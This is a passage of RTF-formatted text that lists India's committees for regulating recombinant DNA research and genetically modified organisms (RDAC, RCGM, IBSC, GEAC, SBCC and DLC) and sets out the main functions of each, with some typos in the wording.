\par }\pard \ltrpar\s3\ql \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid4015505\charrsid16345645 Competent Authorities}{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid1664844\charrsid16345645 
\par }\pard \ltrpar\s3\ql \fi720\li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid1664844\charrsid16345645 
1. Recombinant DNA Advisory Committee (RDAC)
\par 2. Review Committee on Genetic Manipulation (RCGM)
\par 3. Institutional Biosafety Committee (IBSC)
\par 4. Genetic Engineering Approval Committee (GEAC)
\par }\pard \ltrpar\s3\ql \li720\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid1664844\charrsid16345645 
5. State Biotechnology Co-ordination Committee (SBCC)
\par }\pard \ltrpar\s3\ql \fi720\li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid1664844\charrsid16345645 6. District Level Committee (DLC)

\par }\pard \ltrpar\s3\ql \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 
Recombinant DNA Advisory Committee (RDAC)}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid6632779\charrsid16345645 : }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 Main functions}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4015505\charrsid16345645 :}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-360\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls44\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 Review developments in Biotechnology at National and

\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid8210603 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 International level}{\rtlch\fcs1 \ab0\af0\afs20 
\ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}Recommend suitable and appropriate safety regulations
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2297020\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2297020\charrsid16345645 For}{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  India in r-DNA}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603  research, use and applications}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645 
\par }\pard \ltrpar\s3\ql \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 
Review Committee on Genetic Manipulation (RCGM)}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid6632779\charrsid16345645 : }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 Main functions}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645 :
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls45\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To bring out manuals of }{\rtlch\fcs1 \ab0\af0\afs20 
\ltrch\fcs0 \b0\fs20\insrsid8210603\charrsid16345645 guidelines specify}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  producers for}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645  }{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 regulatory process on GMOs in research, use and applications}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 
\ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 including industry with a view to ensure environmental safety.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls46\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
To review all on going r-DNA projects involving high risk category}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 and
 controlled field experiments.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid8210603 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 To laid}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645  down producers for restriction or prohibition, production,}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645 sale, import &amp; use of GMOs both for research and}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603  its application}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 .}{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls47\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
To permit experiments with category III risks and above with\tab appropriate containment.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To authorize}{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 d}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  imports of GMOs/ transgenes for research purposes.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}To authorize field experiments in 20 acres in multi-locations in one\tab 
crop season with up to one acre at one site.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls48\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To generate}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid8210603 d}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  relevant data on transgenic materials in appropriate}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645  }{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 systems.
\par }\pard \ltrpar\s3\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 Institutional Bio-Safety Committee (IBSC)}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2297020\charrsid16345645 : }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 Main functions
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li1620\ri0\widctlpar
\tx900\jclisttab\tx1620\wrapdefault\aspalpha\aspnum\faauto\ls49\outlinelevel2\adjustright\rin0\lin1620\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To note}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid8210603 d}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  and to approve}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 d}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645  r-DNA work.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}To ensure}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 d}{\rtlch\fcs1 \ab0\af0\afs20 
\ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  adherence of r-DNA safety guidelines of}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645 government.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li1620\ri0\widctlpar
\tx900\jclisttab\tx1620\wrapdefault\aspalpha\aspnum\faauto\ls50\outlinelevel2\adjustright\rin0\lin1620\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To prepare}{\rtlch\fcs1 \ab0\af0\afs20 
\ltrch\fcs0 \b0\fs20\insrsid8210603 d}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  emergency plan according to guidelines.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}To recommend}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 ed}{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  to RCGM about category III risk or}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645 above experiments and to seek RCGM\rquote s approval.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li1620\ri0\widctlpar
\jclisttab\tx1620\wrapdefault\aspalpha\aspnum\faauto\ls51\outlinelevel2\adjustright\rin0\lin1620\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To inform}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid8210603 ed}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  DLC and SBCC as well as GEAC about the}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645  }{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 experiments where ever needed.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To act}{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 s}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  as nodal point for interaction with statutory}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid14492180\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 bodies.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li1620\ri0\widctlpar
\jclisttab\tx1620\wrapdefault\aspalpha\aspnum\faauto\ls52\outlinelevel2\adjustright\rin0\lin1620\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
To ensure experimentation at designated location, taking}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14492180\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 into account approved protocols}{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid6632779\charrsid16345645 
\par }\pard \ltrpar\s3\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid6632779\charrsid16345645 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 Genetic Engineering Approval Committee (GEAC)}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2297020\charrsid16345645 : }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid2057115\charrsid16345645 Main functions}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4015505\charrsid16345645 :}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls53\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To permit the use of GMOs and products thereof for}{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid420836\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 commercial applications
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls54\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
To adopt producers for restriction or prohibition, production,\tab sale, import &amp; use of GMOs both for research and applications}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid420836\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645 under the EPA
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls55\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To authorize}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid8210603 d}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  large scale production and release of GMOs and}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid420836\charrsid16345645  }{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 products thereof into the environment.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls56\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To authorize agencies or persons to have powers to take}
{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid420836\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 punitive actions under the EPA
\par }\pard \ltrpar\s3\ql \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 
State Biotechnology Co-Ordination Committee (SBCC)}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2297020\charrsid16345645 : }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 Main functions}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4015505\charrsid16345645 :}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid8210603 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls57\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 Powered}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645  to inspect, investigate and to take punitive action in}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid16472824\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645 \tab case of violations of statutory provisions through the State}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid16472824\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2057115\charrsid16345645 Pollution Control Board or the Directorate of Health etc.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls58\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
To review periodically the safety and control measures in}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid16472824\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
various institutions handling GMOs.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls59\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To act}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid8210603 s}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  as nodal agency at State level to assess the damage, if}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid16472824\charrsid16345645  }{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 any, due to release of GMOs and to take on site control}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid16472824\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 
\ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 measures.
\par }\pard \ltrpar\s3\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid6632779\charrsid16345645 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 District Level Committee (DLC)}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2297020\charrsid16345645 : }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid2057115\charrsid16345645 Main functions}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4015505\charrsid16345645 :}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \li1440\ri0\widctlpar
\jclisttab\tx1440\wrapdefault\aspalpha\aspnum\faauto\ls60\outlinelevel2\adjustright\rin0\lin1440\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 To monitor}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid8210603 ed}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  the safety regulations in installations.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi720\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls61\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 Have powers to inspect, investigate and report to the}{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 SBCC or the GEAC about compliance or }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2297020\charrsid16345645 \tab \tab }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14890360\charrsid16345645 noncompliance}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
